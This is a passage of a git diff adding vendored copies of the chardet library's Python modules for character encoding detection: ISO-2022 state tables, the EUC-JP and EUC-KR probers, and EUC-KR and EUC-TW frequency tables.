+0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +6,0,4,0,8,0,0,0, # 40 - 47 +0,9,5,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022JP_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 20-27 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 6,MachineState.ITS_ME,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 38-3f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.START,# 40-47 +) + +ISO2022JP_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022JP_SM_MODEL = {'class_table': ISO2022JP_CLS, + 'class_factor': 10, + 'state_table': ISO2022JP_ST, + 'char_len_table': ISO2022JP_CHAR_LEN_TABLE, + 'name': "ISO-2022-JP", + 'language': 'Japanese'} + +ISO2022KR_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,3,0,0,0, # 20 - 27 +0,4,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,5,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022KR_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 10-17 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 20-27 +) + +ISO2022KR_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +ISO2022KR_SM_MODEL = {'class_table': ISO2022KR_CLS, + 'class_factor': 6, + 'state_table': ISO2022KR_ST, + 'char_len_table': ISO2022KR_CHAR_LEN_TABLE, + 'name': "ISO-2022-KR", + 'language': 'Korean'} + + diff --git a/src/thirdparty/chardet/eucjpprober.py b/src/thirdparty/chardet/eucjpprober.py new file mode 100644 index 0000000000..20ce8f7d15 --- /dev/null +++ b/src/thirdparty/chardet/eucjpprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState, MachineState +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCJPDistributionAnalysis +from .jpcntx import EUCJPContextAnalysis +from .mbcssm import EUCJP_SM_MODEL + + +class EUCJPProber(MultiByteCharSetProber): + def __init__(self): + super(EUCJPProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL) + self.distribution_analyzer = EUCJPDistributionAnalysis() + self.context_analyzer = EUCJPContextAnalysis() + self.reset() + + def reset(self): + super(EUCJPProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return "EUC-JP" + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char, char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/src/thirdparty/chardet/euckrfreq.py b/src/thirdparty/chardet/euckrfreq.py new file mode 100644 index 0000000000..b68078cb96 --- /dev/null +++ b/src/thirdparty/chardet/euckrfreq.py @@ -0,0 +1,195 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology + +# 128 --> 0.79 +# 256 --> 0.92 +# 512 --> 0.986 +# 1024 --> 0.99944 +# 2048 --> 0.99999 +# +# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 +# Random Distribution Ration = 512 / (2350-512) = 0.279. +# +# Typical Distribution Ratio + +EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 + +EUCKR_TABLE_SIZE = 2352 + +# Char to FreqOrder table , +EUCKR_CHAR_TO_FREQ_ORDER = ( + 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, +1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, +1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, + 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, + 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, + 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, +1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, + 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, + 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, +1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, +1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, +1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, +1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, +1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, + 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, +1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, +1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, +1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, +1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, + 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, +1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, + 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, + 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, +1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, + 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, +1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, + 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, + 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, +1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, +1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, +1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, +1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, + 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, +1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, + 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, + 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, +1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, +1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, +1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, +1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, +1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, +1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, + 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, + 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, + 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, +1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, + 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, +1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, + 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, + 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, +2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, + 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, + 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, +2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, +2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, +2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, + 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, + 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, +2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, + 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, +1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, +2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, +1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, +2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, +2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, +1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, + 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, +2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, +2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, + 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, + 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, +2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, +1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, +2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, +2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, +2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, +2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, +2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, +2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, +1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, +2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, +2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, +2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, +2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, +2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, +1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, +1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, +2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, +1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, +2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, +1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, + 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, +2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, + 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, +2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, + 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, +2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, +2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, + 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, +2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, +1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, + 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, +1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, +2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, +1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, +2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, + 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, +2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, +1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, +2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, +1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, +2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, +1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, + 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, +2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, +2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, + 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, + 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, +1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, +1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, + 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, +2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, +2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, + 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, + 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, + 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, +2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, + 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, + 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, +2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, +2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, + 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, +2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, +1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, + 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, +2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, +2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, +2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, + 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, + 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, + 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, +2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, +2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, +2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, +1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, +2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, + 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 +) + diff --git a/src/thirdparty/chardet/euckrprober.py b/src/thirdparty/chardet/euckrprober.py new file mode 100644 index 0000000000..345a060d02 --- /dev/null +++ b/src/thirdparty/chardet/euckrprober.py @@ -0,0 +1,47 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCKRDistributionAnalysis +from .mbcssm import EUCKR_SM_MODEL + + +class EUCKRProber(MultiByteCharSetProber): + def __init__(self): + super(EUCKRProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) + self.distribution_analyzer = EUCKRDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "EUC-KR" + + @property + def language(self): + return "Korean" diff --git a/src/thirdparty/chardet/euctwfreq.py b/src/thirdparty/chardet/euctwfreq.py new file mode 100644 index 0000000000..ed7a995a3a --- /dev/null +++ b/src/thirdparty/chardet/euctwfreq.py @@ -0,0 +1,387 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# EUCTW frequency table +# Converted from big5 work +# by Taiwan's Mandarin Promotion Council +# <http:#www.edu.tw:81/mandr/> + +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +# Char to FreqOrder table , +EUCTW_TABLE_SIZE = 5376 + +EUCTW_CHAR_TO_FREQ_ORDER = ( + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 